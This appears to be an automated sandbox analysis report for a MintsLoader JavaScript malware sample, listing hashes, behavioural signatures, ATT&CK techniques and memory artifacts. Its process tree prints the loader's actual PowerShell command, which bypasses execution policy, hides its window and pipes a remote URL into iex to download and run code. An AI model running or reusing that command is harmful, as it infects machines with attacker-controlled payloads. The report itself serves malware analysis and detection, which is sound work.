mintsloader | aec2646ebe29ad68516daec6f9cc1899e6a7a6278d72ce6a1c5c6ebe8158bac1

General

Target

aec2646ebe29ad68516daec6f9cc1899e6a7a6278d72ce6a1c5c6ebe8158bac1.js
Size

595KB
MD5

e11e833bd0845410c1fd9e1e36159f35
SHA1

dd3973964cbabf55907780345f52570b6738d912
SHA256

aec2646ebe29ad68516daec6f9cc1899e6a7a6278d72ce6a1c5c6ebe8158bac1
SHA512

a3d3458ec3540bbbdc3f71ef8fc791cbcad92edb996e0eddf56d5b34459b85f753ae757919d9b21ccd5005d61ef05e601a4b9bf1bf204dcc971c6f27efa22e7a
SSDEEP

1536:ay99U99cssqg09Cqg099sqg09Nsqg09Qsq1sqg09V09esqg09Ysqg09Lsqqsqg07:YG

Score

10^/10

mintsloader execution loader

Malware Config

Signatures

MintsLoader
MintsLoader is a multi-stage malware loader.
loader mintsloader
Mintsloader family
mintsloader

Blocklisted process makes network request 1 IoCs

flow	pid	Process
31	3184	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3184	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000\Control Panel\International\Geo\Nation	wscript.exe

Deletes itself 1 IoCs

pid	Process
4092	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3184	powershell.exe
3184	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3184	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4092 wrote to memory of 3184	4092	wscript.exe	96
PID 4092 wrote to memory of 3184	4092	wscript.exe	96

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\aec2646ebe29ad68516daec6f9cc1899e6a7a6278d72ce6a1c5c6ebe8158bac1.js
1⤵
- Checks computer location settings
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:4092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -executionpolicy bypass -WindowStyle hidden -C " curl http://hisatophjrok12.top/1.php?s=flibabc11 |iex"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3184

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_izgsdb55.3tu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3184-2-0x00007FF8E9DE3000-0x00007FF8E9DE5000-memory.dmp

Filesize
8KB

Download
memory/3184-3-0x000002126B980000-0x000002126B9A2000-memory.dmp

Filesize
136KB

Download
memory/3184-13-0x00007FF8E9DE0000-0x00007FF8EA8A1000-memory.dmp

Filesize
10.8MB

Download
memory/3184-14-0x00007FF8E9DE0000-0x00007FF8EA8A1000-memory.dmp

Filesize
10.8MB

Download
memory/3184-15-0x00007FF8E9DE0000-0x00007FF8EA8A1000-memory.dmp

Filesize
10.8MB

Download
memory/3184-18-0x00007FF8E9DE0000-0x00007FF8EA8A1000-memory.dmp

Filesize
10.8MB

Download

Analysis

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